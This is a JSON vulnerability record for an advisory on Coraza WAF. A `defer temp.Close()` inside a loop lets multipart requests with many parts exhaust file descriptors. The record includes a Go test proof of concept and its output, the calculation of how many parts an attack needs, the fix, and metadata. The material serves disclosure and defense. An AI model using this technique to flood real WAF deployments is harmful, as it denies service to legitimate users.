{"schema":"threatline.record/2","record":{"id":"CVE-2026-107834","aliases":["GHSA-rp9v-7xv3-r6g3","GO-2026-6697"],"summary":"Coraza: Resource exhaustion via deferred file handle accumulation in multipart body processor","details":"## Summary\n\n`defer temp.Close()` sits inside a `for` loop in the multipart processor. Go defers run at function return, not loop end, so every file part in the request holds an open fd until `ProcessRequest()` exits. Send enough parts and you hit `EMFILE`. With CRS loaded, that flips `MULTIPART_STRICT_ERROR` to 1 and rule `200001` starts returning 400s, including on legitimate requests hitting the same condition.\n\n## Details\n\n`internal/bodyprocessors/multipart.go`, line 69:\n\n```go\nfor {\n    p, err := mr.NextPart()\n    // ...\n    temp, err := os.CreateTemp(storagePath, \"crzmp*\")\n    defer temp.Close() // wrong scope\n    io.Copy(temp, p)\n}\n```\n\nEach iteration opens a temp file and defers its close. All of them stack up and fire together when `ProcessRequest` returns. 500 parts, 500 fds held simultaneously.\n\nThe body size limit (default 128MB) caps total bytes, not part count. A minimal file part (boundary line, `Content-Disposition` with `filename=`, one byte of content) is about 104 bytes. That's roughly 65,000 parts per 6.8MB of body, which on a standard Linux system (hard fd limit 65536) is enough to exhaust the table.\n\nFix is straightforward: call `temp.Close()` explicitly after `io.Copy` instead of deferring it.\n\n## PoC\n\nTested on v3.7.0 (`db9850b`), Go 1.25, Linux x86_64.\n\nAdd this file at `internal/bodyprocessors/poc_fd_test.go` and run:\n\n```text\ngo test -v -run TestMultipartFDLeak ./internal/bodyprocessors/...\n```\n\n```go\npackage bodyprocessors_test\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"testing\"\n\n\t\"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes\"\n\t\"github.com/corazawaf/coraza/v3/internal/bodyprocessors\"\n\t\"github.com/corazawaf/coraza/v3/internal/corazawaf\"\n)\n\nfunc countFDs() int {\n\te, _ := os.ReadDir(\"/proc/self/fd\")\n\treturn len(e)\n}\n\nfunc TestMultipartFDLeak(t *testing.T) {\n\tboundary := \"testboundary\"\n\tvar sb strings.Builder\n\tfor i := 0; i < 500; i++ {\n\t\tfmt.Fprintf(&sb, \"--%s\\r\\n\", boundary)\n\t\tfmt.Fprintf(&sb, \"Content-Disposition: form-data; name=\\\"f%d\\\"; filename=\\\"f%d.txt\\\"\\r\\n\", i, i)\n\t\tsb.WriteString(\"\\r\\n\")\n\t\tsb.WriteString(\"X\\r\\n\")\n\t}\n\tfmt.Fprintf(&sb, \"--%s--\\r\\n\", boundary)\n\n\tmp, _ := bodyprocessors.GetBodyProcessor(\"multipart\")\n\tbaseline := countFDs()\n\n\tvar peak int64\n\tdone := make(chan struct{})\n\tvar wg sync.WaitGroup\n\twg.Add(1)\n\tgo func() {\n\t\tdefer wg.Done()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-done:\n\t\t\t\treturn\n\t\t\tdefault:\n\t\t\t\tn := int64(countFDs())\n\t\t\t\tfor {\n\t\t\t\t\tcur := atomic.LoadInt64(&peak)\n\t\t\t\t\tif n <= cur || atomic.CompareAndSwapInt64(&peak, cur, n) {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}()\n\n\tv := corazawaf.NewTransactionVariables()\n\tmp.ProcessRequest(strings.NewReader(sb.String()), v,\n\t\tplugintypes.BodyProcessorOptions{\n\t\t\tMime:        \"multipart/form-data; boundary=\" + boundary,\n\t\t\tStoragePath: t.TempDir(),\n\t\t})\n\tclose(done)\n\twg.Wait()\n\n\tt.Logf(\"baseline=%d  peak=%d  spike=+%d\",\n\t\tbaseline, atomic.LoadInt64(&peak),\n\t\tatomic.LoadInt64(&peak)-int64(baseline))\n}\n```\n\nOutput:\n\n```text\nbaseline=7  peak=506  spike=+499\n```\n\nThe spike is ~1 fd per part. After `ProcessRequest` returns the deferred closes fire and it drops back to baseline.\n\n## Impact\n\n- **No authentication required.** Any endpoint that accepts multipart uploads is affected.\n- **fd exhaustion at ~6.8MB body (~65k parts).** `os.CreateTemp` starts returning errors and `MULTIPART_STRICT_ERROR` is set to 1.\n- **CRS false positives / DoS.** With CRS loaded, rule `200001` then blocks the request with a 400 — and any other multipart request processed concurrently that runs into the same condition gets blocked too. At that point the WAF can't distinguish the attack from a legitimate upload.\n- **Process-wide impact.** While the fd table is full the process can't open sockets or files for anything else either.\n- **Scope.** Affects all v3.x releases; the `defer` has been present since the multipart processor was introduced.","categories":["Libraries & packages"],"product":"github.com/corazawaf/coraza/v3","vendor":"corazawaf","ecosystem":"go","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-rp9v-7xv3-r6g3","source_modified_at":"2026-10-09T17:41:12Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"github.com/corazawaf/coraza/v3"},"range":">= 3.0.0, < 3.8.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-107834","source_modified_at":"2026-10-13T20:26:52.261Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"coraza","vendor":"corazawaf","versions":[{"version":">= 3.0.0, < 3.8.0","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-rp9v-7xv3-r6g3","source_modified_at":"2026-10-19T21:41:16.115574313Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"github.com/corazawaf/coraza/v3","ecosystem":"Go","purl":"pkg:golang/github.com/corazawaf/coraza/v3"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.0"},{"fixed":"3.8.0"}]}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-rp9v-7xv3-r6g3","source_modified_at":"2026-10-09T17:41:12Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"github.com/corazawaf/coraza/v3"},"version":"3.8.0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-rp9v-7xv3-r6g3","source_modified_at":"2026-10-19T21:41:16.115574313Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"github.com/corazawaf/coraza/v3","ecosystem":"Go","purl":"pkg:golang/github.com/corazawaf/coraza/v3"},"version":"3.8.0"}],"cvss":5.3,"severity":"Medium","kev":{"listed":false},"epss":{"probability":0.00322,"percentile":0.24039,"score_date":"2026-10-23"},"published_at":"2026-10-09T17:41:07.802Z","modified_at":"2026-10-19T21:41:16.115574313Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-rp9v-7xv3-r6g3","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-09T17:41:12Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-107834","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-13T20:26:52.261Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-rp9v-7xv3-r6g3","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-19T21:41:16.115574313Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107834","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/corazawaf/coraza/security/advisories/GHSA-rp9v-7xv3-r6g3","tags":["x_refsource_CONFIRM"]},{"source":"CVE List","url":"https://github.com/corazawaf/coraza/commit/1bc39036e99c88e7de60cf8e6bb55ee4c311223c","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/corazawaf/coraza/releases/tag/v3.8.0","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-rp9v-7xv3-r6g3","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"none","automatable":"yes","technical_impact":"partial","assessed_at":"2026-10-13T20:19:11.994433Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-19T21:41:16.115574313Z","content_hash":"f2b68abbee272c14f97f3a1c2996461173635978eec2cf3bac554a50737c3974"}}
